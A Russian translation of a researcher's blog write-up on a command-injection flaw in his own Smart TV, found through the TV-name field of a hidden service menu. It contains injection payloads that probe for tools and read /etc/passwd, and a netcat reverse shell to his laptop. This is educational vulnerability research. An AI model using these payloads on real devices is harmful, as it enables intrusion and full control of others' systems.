Взлом Smart TV через внедрение команд

Взлом Smart TV через внедрение команд

Это был один  из обычных ленивых вечеров, когда я смотрел телевизор после длинного трудового  дня.

Автор: Sven Morgenroth

Это был один из обычных ленивых вечеров, когда я смотрел телевизор после длинного трудового дня. Несмотря на то что чувствовалась усталость, я продолжал размышлять об уязвимости, найденной в роутере, который мне одолжил приятель. Нахождение брешей в подобного рода устройствах всегда является забавным мероприятиям, поскольку вскрываются детали, доступные лишь разработчикам и, возможно, службе технической поддержки.

Поскольку на тот момент я был очень уставшим, то намеревался лишь поставить таймер автоматического выключения и прилечь. Однако во время установки таймера меня заинтересовал вопрос, есть ли скрытые функции в меню настроек телевизора, доступные только разработчикам и службе поддержки. После непродолжительных поисков в Гугле в моем мобильном телефоне я обнаружил, что в этой марке телевизоров предусмотрен код, открывающий скрытое меню.
После повторного открытия настроек я ввел код при помощи пульта управления, и в левом стороне экрана появилось еще одно меню. Практически все категории были недоступны. Я смог только активировать режим «Hotel Mode» и посмотреть версию телевизора.

В тот момент мне захотелось получше узнать свой телевизор. Среди настроек была категория «info», открыв которую я увидел другие номера и версии. Затем мое внимание привлекла возможность, позволяющая назначить имя телевизору.

Уязвимость в Smart TV

При работе в сфере информационной безопасности постоянно приходится тестировать полезные нагрузки в различных полях ввода. К примеру, это может быть параметр GET-запроса, используемого веб-интерфейсом роутера, панели управления нового принтера или, как в моем случае, телевизора. Мне показалось, что будет забавно, если у телевизора будет имя «sleep 5».


Рисунок 1: Параметр для назначения имени телевизору

После ввода полезной нагрузки через пульт управления и сохранения результатов, меню с настройками замерло на некоторое время. Когда телевизор вернулся к жизни я изменил значение параметра, чтобы была возможность добраться до других пунктов меню. В тот момент я еще не догадывался, что нашел нечто похожее на уязвимость, связанную с внедрением команд. На самом деле замирание телевизора на несколько секунд после изменения настроек не являлось чем-то странным. Однако задержка на столь долгое время вызвала у меня любопытство.

Время замирания было намного больше чем 5 секунд. Возможно, все дело было в одиночных кавычках, и телевизор, не ожидая подобных входных данных, выдавал ошибку с целью предотвращения загрузки этих символов. Я попытался повторить эксперимент и ввел `sleep 0`. На этот раз все загрузилось моментально.

Происходило нечто не очень понятное, и я решил измерить время ответа в зависимости от значения параметра функции sleep. Выяснилось, что время замирания меню телевизора всегда в три раза дольше, чем значение этого параметра:

  • sleep (2) - 6 секунд
  • sleep (3) - 9 секунд
  • sleep (5) - 15 секунд

 Запуск команд в телевизоре

Я не мог поверить, что смог внедрить команду после первой же попытки. Замирание меню не было стопроцентным доказательством и в целом не столь полезно, если мы ведем речь об эксплуатации уязвимости. В моем распоряжении был 31 символ (минус две одинарные кавычки), полезная нагрузка должна быть не более 29 знаков.

Ниже показан список команд, которые я пытался запустить в моем телевизоре.  Напротив каждой команды дается пояснение и результат запуска (успешно/неудачно).


Команда

Описание

Количество символов

Успешный запуск

`which nc && sleep 2`

which – команда в Linux, возвращающая путь к приложению (если приложение существует)

&& sleep 2 – заморозка меню на 3*2 секунды, если после выполнение команды which найдена утилита nc (в телевизоре)

19

Да

`which ssh && sleep 2`

Проверка, присутствует ли утилита ssh

20

Нет

`which wget && sleep 2`

Оказалось, что присутствует утилита wget

21

Да

`cat /etc/passwd && sleep 2`

Проверяем, доступен ли файл /etc/passwd на чтение. Оказалось, что да (было бы очень странно, если нет)

26

Да

`cat /etc/shadow && sleep 2`

Если у нас есть права суперпользователя, файл /etc/shadow доступен на чтение. Проверяем, есть ли у нас права суперпользователя. Однако файл оказался недоступным для чтения.

26

Нет

`ls /etc/shadow && sleep 2`

Получаем объяснение, почему файл /etc/shadow не доступен на чтение. Этого файла не существует.

25

Нет

Далее нужно было подсоединить телевизор к ноутбуку через сетевой кабель, но уже сейчас я был доволен тем, что у меня получалось запускать команды в телевизоре лишь при помощи пульта управления.

Получение доступа к шеллу в телевизоре

Мой телевизор крепится к стене, и подключить сетевой кабель оказалось не так просто, как может показаться на первый взгляд. Преодолев некоторые сложности, мне все же удалось подключить кабель к телевизору с одной стороны и к ноутбуку с другой. Далее при помощи утилиты ipconfig я выяснил IP-адрес ноутбука.


Рисунок 2: Сетевые параметры ноутбука

После выяснения IP-адреса ноутбука мне лишь нужно было организовать обратный шелл. Таким образом, не нужно было знать IP-адрес телевизора. Кроме того, обратный шелл удобен тем, что позволяет обходить любые правила фаервола, которые блокируют входящие соединения. Однако перед тем как начать думать о том, как получить шелл, используя 29 символов, я решил по подробнее изучить систему.

Использование Netcat в телевизоре

После того как выяснилось, что в телевизоре есть утилита nc, я решил перенаправить результаты работы определенных команды через nc на мой ноутбук. Первой командой, естественно, стала id, при помощи которой нужно было выяснить, есть ли у нас права суперпользователя в системе телевизора.

Рисунок 3: Результат выполнения команды id

Как видно из рисунка выше, права суперпользователя у нас есть. Сей факт не столь примечателен, но тем не менее. Далее мне захотелось узнать содержимое корневой директории / при помощи команды `ls -la /|nc 169.254.56.216 5`.

Рисунок 4: Содержимое корневой директории

Отлично. Однако у меня до сих пор не было полноценного шелла для выполнения команд. Все возможные варианты не проходили проверку на длину и были не слишком полезными. Однако поскольку версия nc, установленная в телевизоре, поддерживала флаг –e, мне удалось организовать обратный шелл при помощи команды `nc 169.254.213.210 5 -e sh`.


Рисунок 5: Обратный шелл для выполнения команд в телевизоре

Теперь, когда у меня был полноценный шелл, я захотел увидеть результаты своей работы на экране телевизора. Здесь существует несколько возможностей. Например, смена логотипа при загрузке или изменение иконок приложений. Поскольку у меня был Smart TV, уже было установлено несколько программ, например, Youtube и Skype.

Рисунок 6: Приложение, предустановленные в телевизоре

Я заметил, что большая часть файловой системы была доступна только для чтения, и мне не удалось поменять логотип. Однако там были часто меняющиеся картинки, например, рамки превью, которые можно наблюдать при переключении каналов телевизора. Эти превью содержат снимки программ, идущих в тот момент, когда мы переходим в канал. Совершенно очевидно, что данные картинки сохраняются в месте, доступным для чтения и записи файлов.
Иконки хранились в файлах .png. Для получение полного списка файлов с расширением .png я воспользовался командой find / -name *.png, однако среди результатов не оказалось файлов, имеющих отношения к картинкам превью. Я проделал тот же самый трюк с файлами .jpg и заметил имена наподобие channelImage123.jpg. После загрузки нужных файлов и замены файлов, в имени которых содержится строка channelImage, я получил следующий результат.


Рисунок 7: Экран телевизора с обновленными картинками

Ваш телевизор не настолько умен, как вы думаете

Устройства, подключенные к интернету, могут иметь уязвимости в самых неожиданных местах. Там, где вы ожидаете меньше всего. Когда я тестировал команду sleep, то даже не мог и представить, что мой трюк сработает. Первоначально я решил провести свой эксперимент от скуки. Кроме того, я понятия не имел, что мой телевизор работает по управлением ОС Linux, и был еще больше удивлен, что найденные бреши пригодны к эксплуатации.

Данную уязвимость нельзя эксплуатировать удаленно, хотя что-то подсказывает мне, что я был прав, когда решил не подключать свой телевизор к интернету и не использовал продвинутые функции слишком часто. Я бы не ощущал себя комфортно с мыслью о том, что кто-то может управлять моим телевизором.

Предполагаю, что существует более интересные методы и бреши, пригодные для эксплуатации. Однако, думаю, не стоит добавлять седых волос в том момент, когда телевизор замирает, и ты думаешь, вышло ли устройство из строя или нет. В конце концов, телевизор предназначен для расслабления, а не для повышения кровяного давления, за исключением тех случаев, когда вы смотрите спортивные мероприятия. Например, футбол.

Устали от того, что Интернет знает о вас все?

Присоединяйтесь к нам и станьте невидимыми!